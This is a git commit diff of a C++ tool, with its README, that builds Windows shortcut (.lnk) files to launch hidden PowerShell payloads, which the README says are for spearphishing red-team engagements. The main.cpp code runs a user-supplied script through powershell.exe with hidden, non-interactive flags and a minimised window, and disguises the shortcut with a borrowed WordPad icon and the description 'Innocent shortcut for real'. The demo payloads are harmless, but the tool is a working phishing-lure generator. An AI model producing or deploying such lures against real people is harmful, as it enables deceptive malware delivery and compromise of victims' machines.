release 1

.gitignore

@@ -1,3 +1,6 @@
 builddir
+build
 *.lnk
+*.ico
+*.jpg
 generator.ps1

README.md

@@ -0,0 +1,46 @@
+# LNK File Builder
+Programmatically build a LNK file (shortcut file) that executes certain powershell script. Built mainly for spearphishing red-team engagement, with cpp and meson.
+
+> Disclaimer:
+> I, the creator of this program, has no responsibility for whatever you do with this tool. This tool was made solely for training and demonstration. Do anything at your own risk.
+
+## Building / Installation
+
+You can either build this tool from the source code with meson, or just simply downloading the precompiled binary. This tool currently only support 64 bit windows environment and I have no intention to support any other environment.
+
+### Building From Source
+Make sure you have meson installed, its easier to use meson rather than gcc or visual studio but you can choose anything you desire.
+
+```
+git clone https://github.com/idfp/lnk-builder
+cd lnk-builder/
+```
+Build the project first before compiling it again with meson.
+```
+meson build
+cd build
+meson compile
+```
+If everything went smooth, you'll get an executable named `lnkbuilder.exe`.
+
+### Precompiled Binary
+I planned to put it in release page, for now just clone the repo and use `lnkbuilder.exe` in root folder of this project.
+
+```
+git clone https://github.com/idfp/lnk-builder
+cd lnk-builder/
+lnkbuilder.exe
+```
+
+## Usage
+```ruby
+Usage: lnkbuilder.exe [Options]                                             
+Options:
+  --description / -d set description for lnk file.                                                 
+  --payload / -p payload to be executed, must be powershell script.                                               
+  --file / -f get payload from ps1 file.                                                 
+  --icon / -i icon to be used.                                                 
+  --output / -o name of output files, should ends with .lnk                                                   
+
+Example: lnkbuilder.exe --payload "Start-Process notepad.exe" -o notepad.lnk                                                   
+```

main.cpp

@@ -20,17 +20,34 @@
 #include "objidl.h"
 #include "shlguid.h"
 #include "string"
+#include "map"
 #include "stdio.h"
-// LPSTR curdir, LPSTR icon, int iconIndex
-HRESULT CreateLink(LPSTR target, LPSTR args, LPSTR linkFile, LPSTR desc, int showmode) 
+#include "iostream"
+#include "type_traits"
+
+HRESULT CreateLink(LPSTR target, LPSTR args, LPSTR linkFile, LPSTR desc, LPSTR icon, int showmode) 
 { 
     printf("creating shortcut file...\n");
     HRESULT hres; 
     IShellLink* psl;   
     IPersistFile* ppf; 
     WCHAR wsz[MAX_PATH]; 
-    int wideCharWritten;
     CoInitialize(NULL);
+
+    // Get the full path
+    char iconPathC[MAX_PATH];
+    DWORD length = GetFullPathName(icon, MAX_PATH, iconPathC, nullptr);
+
+    if (length == 0) {
+        std::cerr << "Error getting full path. Error code: " << GetLastError() << std::endl;
+        return 1;
+    }
+    std::cout << "Setting icon from file: " << iconPathC << "\n";
+    size_t len = strlen(iconPathC) + 1; 
+    LPSTR iconPath = new char[len]; 
+
+    strcpy_s(iconPath, len, iconPathC);
+
     // Get a pointer to the IShellLink interface. It is assumed that CoInitialize
     // has already been called.
     hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (LPVOID*)&psl); 
@@ -44,7 +61,7 @@ HRESULT CreateLink(LPSTR target, LPSTR args, LPSTR linkFile, LPSTR desc, int sho
         psl->SetDescription(desc); 
         psl->SetShowCmd(showmode); 
         // psl->SetWorkingDirectory(curdir);
-        // psl->SetIconLocation(icon, iconIndex); 
+        psl->SetIconLocation(iconPath, 0); 
 
         // Query IShellLink for the IPersistFile interface, used for saving the 
         // shortcut in persistent storage. 
@@ -64,14 +81,75 @@ HRESULT CreateLink(LPSTR target, LPSTR args, LPSTR linkFile, LPSTR desc, int sho
         } 
         psl->Release(); 
     } 
+    delete[] iconPath;
     return hres; 
 }
 
-int main(){
-    LPSTR res = "D:\\workspace\\lnk-builder\\chrome.lnk";
-    LPSTR desc = "whatever";
+void printHelp(){
+    char help[] = "Usage: lnkbuilder.exe [Options]\n"
+                  "Options: \n\t--description / -d set description for lnk file.\n"
+                  "\t--payload / -p payload to be executed, must be powershell script.\n"
+                  "\t--file / -f get payload from ps1 file.\n"
+                  "\t--icon / -i icon to be used.\n"
+                  "\t--output / -o name of output files, should ends with .lnk\n"
+                  "Example: lnkbuilder.exe --payload \"Start-Process notepad.exe\" -o notepad.lnk\n";
+    printf(help);
+}
+
+std::string cleanArg(std::string str) {
+    char characterToRemove = '-';
+    // Iterate up to the minimum of the length of the string and 3
+    for (size_t i = 0; i < std::min(str.length(), (size_t)3); i++) {
+        if (str[i] == characterToRemove) {
+            str.erase(i, 1); // Remove 1 character at position i
+            i--; // Adjust the index to account for the erased character
+        }
+    }
+    return str;
+}
+
+int main(int argc, char* argv[]){
+    std::map<std::string, std::string> options;
+    options["description"] = "Innocent shortcut for real";
+    options["payload"] = "Start-Process calc.exe";
+    options["output"] = "output.lnk";
+    options["icon"] = "C:\\Program Files\\Windows NT\\Accessories\\wordpad.exe";
+    options["file"] = "/dev/null";
+    if(argc < 2){
+        printf("ERR: Please pass correct amount of parameters.\n");
+        printHelp();
+        return 0;
+    }
+
+    for (std::pair<std::string, std::string> element : options) {
+        std::string key = element.first;
+        std::string value = element.second;
+        char x = key[0];
+        std::string keyshort(1, x);
+        for( int i = 1; i < argc; i++ ){
+            std::string arg(argv[i]);
+            // skip the overload if args doesnt start with - or --
+            if (arg.rfind("-", 0) == 0) {
+                arg = cleanArg(arg);
+                if(key == arg){
+                    if(argv[i+1] != NULL){
+                        options[key] = argv[i + 1];
+                    }
+                }else if(keyshort == arg){
+                    if(argv[i+1] != NULL){
+                        options[key] = argv[i + 1];
+                    }
+                }
+            }
+        }
+    }
+    options["output"] = "./" + options["output"];
+    options["payload"] = "-Nop -sta -noni -w hidden " + options["payload"];
+    LPSTR res = const_cast<char *>(options["output"].c_str());
+    LPSTR desc = const_cast<char *>(options["description"].c_str());
     LPSTR target = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
-    LPSTR args = "-Nop -sta -noni -w hidden Start-Process calc.exe";
-    CreateLink(target, args, res, desc, 7);
+    LPSTR args = const_cast<char *>(options["payload"].c_str());
+    LPSTR icon = const_cast<char *>(options["icon"].c_str());
+    CreateLink(target, args, res, desc, icon, 7);
     return 0;
-}
+}